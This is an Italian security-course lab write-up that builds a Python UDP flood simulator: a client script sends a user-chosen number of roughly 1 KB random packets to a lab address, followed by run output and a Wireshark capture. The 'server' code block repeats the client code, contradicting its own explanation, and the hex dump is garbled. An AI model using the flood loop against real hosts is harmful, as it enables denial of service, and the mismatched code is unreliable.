

## Consegna:

### Traccia:

Gli attacchi di tipo DDoS, ovvero Distributed Denial of Services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende.

L'esercizio di oggi è scrivere un programma in Python che simuli un **UDP flood**, ovvero l'invio massivo di richieste **UDP** verso una macchina target che è in **ascolto** su una porta UDP **casuale** (nel nostro caso un DoS).

### Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target `input`
- Il programma deve richiedere l'inserimento della porta target `input`
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto – **Suggerimento:** per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare `input`

## Soluzione:

### 1. Creazione di un file server e di un file client:

```
import socket
import random

SRV_ADDR = "192.168.32.100"
SRV_PORT = 4444
PACKET_SIZE = 1024 # Dimensione del pacchetto in byte

# Richiede all'utente di inserire il numero di pacchetti da inviare
try:
    num_packets = int(input("Inserisci il numero di pacchetti da inviare: "))
except ValueError:
    print("Inserisci un numero valido.")
    exit(1)

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((SRV_ADDR, SRV_PORT))

# Invia il numero specificato di pacchetti al server
s.send(str(num_packets).encode())

for i in range(num_packets):
    # Genera dati casuali di lunghezza PACKET_SIZE
    random_data = ''.join(random.choices('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', k=PACKET_SIZE))
    message = f"Packet {i + 1} {random_data}"
    s.send(message.encode())

s.close()
```

## Spiegazione lato client:

### -Importazione dei moduli:

`import socket, import random`

I moduli **socket** e **random** vengono importati. Il modulo **socket** viene utilizzato per la comunicazione di rete, mentre **random** verrà utilizzato per generare dati casuali.

#### -Definizione delle costanti:

```
SRV_ADDR = "192.168.32.100" SRV_PORT = 4444 PACKET_SIZE = 1024
```

Queste costanti rappresentano l'indirizzo IP del server (**SRV\_ADDR**), la porta del server (**SRV\_PORT**) e la dimensione dei pacchetti dati (**PACKET\_SIZE**).

#### -Input dell'utente:

```
try: num_packets = int(input("Inserisci il numero di pacchetti da inviare: ")) except ValueError:  
print("Inserisci un numero valido.") exit(1)
```

Richiede all'utente di inserire il numero di pacchetti da inviare e gestisce il caso in cui l'utente inserisce un valore non numerico.

#### -Creazione del socket:

```
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((SRV_ADDR, SRV_PORT))
```

Crea un socket UDP (**SOCK\_DGRAM**) e lo connette all'indirizzo e alla porta del server specificati.

#### -Invio del numero di pacchetti al server:

```
s.send(str(num_packets).encode())
```

Invia al server il numero totale di pacchetti che il client si appresta a inviare, convertendolo in una stringa e codificandolo in byte prima dell'invio.

#### -Generazione e invio di pacchetti di dati casuali:

```
for i in range(num_packets): random_data =  
".join(random.choices('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789',  
k=PACKET_SIZE)) message = f"Packet {i + 1} {random_data}" s.send(message.encode())
```

In un ciclo **for**, il client genera dati casuali di lunghezza **PACKET\_SIZE**, crea un messaggio che include un numero di sequenza e questi dati casuali, e invia il messaggio al server.

#### -Chiusura del socket:

```
s.close()
```

Chiude il socket dopo aver inviato tutti i pacchetti.

In sintesi, questo script simula un client che invia un numero specificato di pacchetti contenenti dati casuali a un server remoto utilizzando un socket UDP.

## Spiegazione lato server:

```
import socket
import random

SRV_ADDR = "192.168.32.100"
SRV_PORT = 4444
PACKET_SIZE = 1024 # Dimensione del pacchetto in byte

# Richiede all'utente di inserire il numero di pacchetti da inviare
try:
    num_packets = int(input("Inserisci il numero di pacchetti da inviare: "))
except ValueError:
    print("Inserisci un numero valido.")
    exit(1)

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((SRV_ADDR, SRV_PORT))

# Invia il numero specificato di pacchetti al server
s.send(str(num_packets).encode())

for i in range(num_packets):
    # Genera dati casuali di lunghezza PACKET_SIZE
    random_data = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz0123456789', k=PACKET_SIZE))
    message = f"Packet {i + 1} {random_data}"
    s.send(message.encode())

s.close()
```

### -import socket:

Questo modulo è utilizzato per la comunicazione di rete.

### -Definizione delle costanti:

`SRV_ADDR = "192.168.32.100" SRV_PORT = 4444 PACKET_SIZE = 1024`

Queste costanti rappresentano l'indirizzo IP del server (**SRV\_ADDR**), la porta del server (**SRV\_PORT**), e la dimensione dei pacchetti dati (**PACKET\_SIZE**).

### -Creazione del socket e binding all'indirizzo e alla porta:

`s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind((SRV_ADDR, SRV_PORT))`

Crea un socket UDP (**SOCK\_DGRAM**) e lo associa all'indirizzo IP e alla porta specificati.

### -Ricezione del numero di pacchetti dal client:

`num_packets = int(s.recvfrom(1024)[0].decode())`

Riceve un messaggio dal client (con una dimensione massima di 1024 byte), lo converte in una stringa e successivamente in un intero per ottenere il numero totale di pacchetti che il client sta per inviare.

### -Messaggio di inizio:

`print(f"Server started! Waiting for {num_packets} packets...")`

Stampa un messaggio indicando che il server è stato avviato e sta aspettando un numero specificato di pacchetti.

## -Ricezione e stampa dei pacchetti dati dal client:

```
for i in range(num_packets): data, client_address = s.recvfrom(PACKET_SIZE) print(f"Received  
'{data.decode('utf-8')}' from {client_address}")
```

In un ciclo **for**, il server riceve ciascun pacchetto dal client insieme all'indirizzo del client. Il contenuto del pacchetto viene decodificato da byte a stringa ('**utf-8**') e successivamente stampato a schermo insieme all'indirizzo del client.

## -Chiusura del socket:

```
s.close()
```

Chiude il socket dopo aver ricevuto tutti i pacchetti.

In sintesi, questo script rappresenta un server UDP che ascolta su un indirizzo e una porta specifici, riceve un numero di pacchetti da un client, e quindi riceve e visualizza i dati contenuti in ciascun pacchetto.

## 2.Salataggio dei 2 file:

Abbiamo salvato i due file lato client e server in: `server_file.py` e `client_file.py`

## 3.Avvio del processo

Avvio del processo di invio e ricezione dei pacchetti tramite i comandi 'python3 `server_file.py`' e 'python3 `client.py`'

```
(kali@kali)-[~] file.py  
$ python3 client_file.py  
Inserisci il numero di pacchetti da inviare: 60  
  
(kali@kali)-[~] file.py  
$ █
```

## 4.Ricezione dei pacchetti sul server

```
(kali@kali)-[~]  
$ python3 server_file.py  
Server started! Waiting for 60 packets ...  
Received 'Packet 1 U5TEgOm7EgWKQ43wV4pUNzh3jvo36WT1sC8i11Wa5Ta7kIB4Mvu0U8ctCy0S11ckrknuouzFyzFB14GK3n0RC0q6C4v4EPwB1G1TGUZH1weS  
BNhai2fDAtRk1E4sIIyJzW08paXeSxDvYhgJr4dzBBgHsKcMoX6EXwh6sX0PPw1KoEBp47xTuL0n5JnHG1zC8t1nlqSewHq1mQB0GfvmTD8GvhfLCHCzKzZfZazYLX1  
wJYPhuLQdTVLarJKZmYaGwqHWbGaKKYBq5G21Jj0ou5y38F767T8bEplIIYepY3YQ1xmWWUJ9EuzISTUBXnFtrq8TX1Pf5PvdmGFS0jdDJVTtKH06fPH39T7m3rq  
U65ZozM42tkQf0rE3hIFgLFvYxqCdZf1x0ROQUUMA5u62qJD6o8btlvS8aXTWZRCa5CmZuWRdkErsxC29N26JvnhAmpTBcBiP3*5t8uE40TaUyZIC1uJwJHnrVzs9zE  
1WjHCJwPHYHncS3i9XU23HrdUQ0ZUr7r5Cjhp6U4HDuWfFnQFZdmHu6MY0QzrR8x1bgSL2WLD2OMZsq978DtAyEUdZ6u' from ('192.168.32.100', 58724)  
Received 'Packet 2 xm19WczJ0MG5P3NFUAMBLS5JvtJmA41YWPgSuZ50yWxJzXgeggM8PKcATjgBANGSLfJFuBddmA3SrpEvGYE2PkFS4XWTQ48DXtSLxv74YV  
gB2FVnvcnM6L3krBXzKH7YkF0XCMAE2i0t2H71916mbZCXZf72E9ohK79W8kPTBpnyb0AxAH5gDe7ctZCw5VjCYtgrHMPHvF2gtEJYA855t5v2YXUXcrPXwH8eYV  
D8vf35aM2ZpRsnI44VN90E6n3rirEXURXgFdm54UDDUCnt9F0jdd0TsedctcV3V6oXfgLLJeAagpyAKqTDalWeBPIqGf2WfVxoQDejTRaAMrbclYNjrcnffgH04E6ddr  
02aHkF05Yj22A4HrLd5V2XsbGfuP0TaSE8Z6PrbK42FPQ8uuN9WSYdPp0zoy28czgOUVDYr1MUGXF5XjD35rDR4tJLnpbNCNTIHV08po1PIWsdXWIODHjBogHfILus7t  
u4FiY4I6zCtSKFD0ZAwkx8vaEaQFBCkyLaOd15XaL3YEwpQLFyev11SuI2YIoIkDqKlkHdsFnLdjDDz64HyYXfthceTa6' from ('192.168.32.100', 58724)  
Received 'Packet 3 c045VciWxwe6MkuH8N1hqCoR51GTSyH180vbNlmdIwwIgGuQTyAYq07eKYMvgMzBQaqeWzAbwBNmKSB520GNRSbme0guvhhLTR3uSvq3WE  
lmtNQ2NeJ5pOXKmkLM0dEdmV8MSYSR0UoQ14NjSr7rR7REcHG0Yb7PM8f74nokDN23IUB5K0eTP7w2WaaRvruUhwqeBneMrUvyS2zpR5R11bWfZaIBC2oCzc1kqJvZf  
BU3Hv2k6yY31ZjMyPAZG71d3mBgFr8rSxvvtKf01xRdYLR0smDDSQkh7U4Jhb18Xo3Uynct8qDfJb57YcnFF2kkqW5A1sAthxPpTk0twtqTuct2Z2JsEK04f6KpSpAp  
94aZ2hmetCpcFHooedA0qEXFRH1qEi3p4vVt7f1kIsDqQYsWme1ITe0dLnzcvaadDcX7cUFTUQs1E9gaY9gKwhF5lnrd5N6dodx1SeFL388qnqj8TB0grA4*4e  
S0T75G0TKwrvkyio7hl191hsL6ZE6Sg0dcF0UKsvjUMTqr78uIUB3t0WJacUB5FCA2TNfDA1nq7N7BDYxxTCF22yMxuvVF' from ('192.168.32.100', 58724)
```

## 5.Intercettazione del traffico tramite Wireshark

```

jdup.port = 4444

No.    Time    Source                Destination            Protocol    Length  Info
--  --  -
27 0.003364054 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
28 0.003517107 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
29 0.003800449 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
30 0.004119595 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
31 0.004402626 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
32 0.004749569 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
33 0.005023367 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
34 0.005278111 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
35 0.005782958 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
36 0.005974121 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
37 0.006202971 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
38 0.006325444 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
39 0.006483990 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
40 0.006635156 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
41 0.006815886 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
42 0.006974380 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
43 0.007120450 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
44 0.007280396 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034
45 0.007471924 192.168.32.100      192.168...             UDP         1878    58724 -> 4444 Len=1034

# Frame 45: 1078 bytes on wire (8624 bits), 1078 bytes captured (8624 bits) on Interface any, ID 0
# Linux capture v3
# Internet Protocol Version 4, Src: 192.168.32.100, Dst: 192.168.32.100
# User Datagram Protocol, Src Port: 58724, Dst Port: 4444
# Data (1034 bytes)

0000  00 00 03 04 00 00 00 00 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
0010  40 00 04 20 ac 3a 28 39 11 4c 18 6a c9 ab 20 64  00 00 00 00 00 00 00 00
0020  c9 00 20 64 05 64 11 5c 04 32 cc 50 61 03 00 00  00 00 00 00 00 00 00 00
0030  65 74 98 34 43 4b 21 71 4c 4e 7a 45 42 37 4f    e 44 20 LLZf8B7
0040  66 70 63 35 6f 57 58 56 50 45 60 33 6f 67 60 64  7c50Mv Ux3pUj
0050  45 16 62 37 38 68 78 48 59 31 54 49 47 5d 63 00  07b7aVc Y1Tf9BcU
0060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
0070  47 57 75 57 6f 61 33 53 35 39 68 6f 63 43 37 38  00 00 00 00 00 00 00 00
0080  42 4b 40 5a 38 46 71 67 42 57 78 66 62 4b 57 61  8JcKzKw BncfQp
0090  52 67 63 36 63 43 57 45 49 47 34 68 49 33 42 57  67c650U 1qH13b
00a0  57 45 52 6f 4a 53 6f 73 47 48 69 4b 31 47 43 42  0fNo35Gn G11fG4B
00b0  38 57 04 67 78 79 4c 39 47 67 68 70 6a 48 72 71  0pVjU8L S0vHj8K
00c0  44 85 52 79 63 83 83 8f 47 54 6f 4c 35 58 56 71  0eRySc50 040L5PV
00d0  44 4b 73 30 76 66 33 47 73 68 6f 70 38 30 43 30  04g3G3F G3v16B0K
00e0  38 78 34 67 71 36 77 54 37 6c 42 45 60 62 42 44  0u5e586 27188vK
00f0  64 41 47 07 61 42 38 38 6b 78 68 34 03 6a 52 67 43  0dAg3K8 284K1jgK
0100  37 58 34 46 68 31 52 52 66 54 60 6e 70 4c 40 57  7PpZ4Z2 71mpmK
0110  6c 78 46 68 31 52 52 66 54 60 6e 70 4c 40 57 43  1x15486 vY211mK
0120  6c 61 45 48 39 74 47 47 58 68 7a 5a 75 71 47 69  1aFESU1L PkZu2u0l
0130  6e 71 48 47 78 58 38 28 33 05 0f 47 68 4c 72 72  7qG90uU 20e11l
0140  70 4e 47 48 05 95 95 68 47 32 45 07 77 70 50 00  0m4uE1V eH02Exp0
0150  7a 57 54 4c 05 32 78 76 74 73 53 51 71 4b 36 40  0wT1e2v D10QqqK
0160  56 6e 39 41 68 68 68 68 72 34 42 47 7d 48 5d 46  0xR921Jr 4d0pK

Packets: 61, Displayed: 61 (100.0%)

```